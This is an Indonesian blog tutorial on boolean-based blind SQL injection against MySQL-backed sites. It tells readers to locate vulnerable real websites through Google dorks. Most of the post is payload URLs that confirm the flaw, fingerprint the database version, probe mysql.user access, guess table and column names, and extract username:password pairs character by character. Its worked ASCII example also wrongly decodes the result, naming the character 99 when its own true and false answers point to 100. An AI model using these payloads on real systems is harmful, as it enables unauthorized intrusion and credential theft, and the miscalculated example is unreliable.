Basic Blind Sql Injection


pertama carilah terlebih dahulu target yang vulner terhadap blind sqlinjection, bisa menggunakan dork dan cari di google atau dengan tools lainya terserah deh .
e.x
"http://www.site.com/news.php?id=3"
kemudian uji dulu apakah web ini benar vuln terhadap blind sqli dengan cara menambahkan "and 1=2" di akhir url web tersebut untuk memberi nilai false.
e.x
http://www.site.com/news.php?id=3 and 1=2
kalau web tersebut benar vuln sqli maka content dari web tersebut akan ada yang hilang atau web tidak diload dengan semestinya (false). untuk melihat nilai true nya tinggal ganti "and 1=2" menjadi "and 1=1"

ok kita anggap saja web tersebut vuln terhadap blind sqli, nah langkah selanjutnya yang harus dilakukan adalah dengan mencari versi dari mysql nya.
untuk dapat mengetahui versi mysql kita berikan perintah "and substring(@@version,1,1)=4" untuk mencari tahu apakah versi mysql nya "4".
atau "and substring(@@version,1,1)=5" untuk mencari tahu apakah versi mysql nya "5".
http://www.site.com/news.php?id=3 and substring(@@version,1,1)=4
atau
http://www.site.com/news.php?id=3 and substring(@@version,1,1)=5
setelah kita tahu versi berapa mysql nya sekarang kita cari tahu apakah perintah "subselect" dapat di eksekusi.
untuk mengetahuinya kita tambahkan  "and (select 1)=1" di belakang url.
e.x
http://www.site.com/news.php?id=3 and (select 1)=1
jika website di load dengan normal atau "true" maka subselect dapat di eksekusi :)

sekarang kita akan melihat apakah mysql.user bisa di akses dengan perintah berikut:
e.x
http://www.site.com/news.php?id=3 and (select 1 from mysql.user limit 0,1)=1
kalau website berjalan dengan normal berarti mysql.user dapat di akses, dan kita bisa menggunakan fungsi  load_file() dan OUTFILE.

sekarang kita akan memasuki tahap yang paling di tunggu tentunya, yaitu tahap pengecekan nama tables dan columns.
disini saya akan mencoba apakah table "users" ada di dalam database web tersebut.
ok yang harus dilakukan adalah seperti ini :
e.x
http://www.site.com/news.php?id=3 and (select 1 from users limit 0,1)=1
kalau web di load dengan normal atau "true" berarti table "users" ada di dalam database, sebaliknya kalau web di load dengan error atau sebagian content hilang atau "false" maka table "users" tidak ada di dalam database dan kita harus mencoba nama table lainya :)

disini kita anggap saja kalau table "users" ada di dalam database, selanjutnya kita akan mengintip isi dari table "users" tersebut atau "columns" dari table tersebut.
kali ini saya akan mencoba columns "username" dan "password"
begini nih perintahnya :
e.x
http://www.site.com/news.php?id=5 and (select substring(concat(1,username),1,1) from users limit 0,1)=1
e.x
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1 
 kalau page di load dengan true berarti columns tersebut ada di dalam table users, tapi kalau nilainya false maka kita harus mencoba nama yang lain :)

nah ternyata columns username dan password ada, maka selanjutnya kita akan melihat apa isi di dalam columns tersebut, heheheh..
caranya dengan mencari nilai true yang paling akhir,
caranya seperti berikut :
e.x
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
 kalau web di load true maka kita ganti angka "80" menjadi lebih besar
e.x
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
page masih tetap saja true, kita coba lebih angka lebih besar lagi
e.x
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>100
wah ternyata di angka 100 web menjadi false... maka kita turunkan angkanya.
e.x
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
nilainya true, nah berarti karakter pertama adalah hasil konversi ascii dari angka 99 yaitu "c"

selanjutnya kita cari apa karakter kedua nya, caranya dengan mengganti angka 1,1 menjadi 2,1 .
begini nih :
 e.x
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
 nilai true maka ganti angka 99 menjadi lebih besar

e.x
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>105
nilai false maka turunkan 105 menjadi lebih kecil sama seperti cara sebelumnya.

Belum ada Komentar untuk "Basic Blind Sql Injection"

Posting Komentar

Iklan Atas Artikel

Iklan Tengah Artikel 1

Iklan Tengah Artikel 2

Iklan Bawah Artikel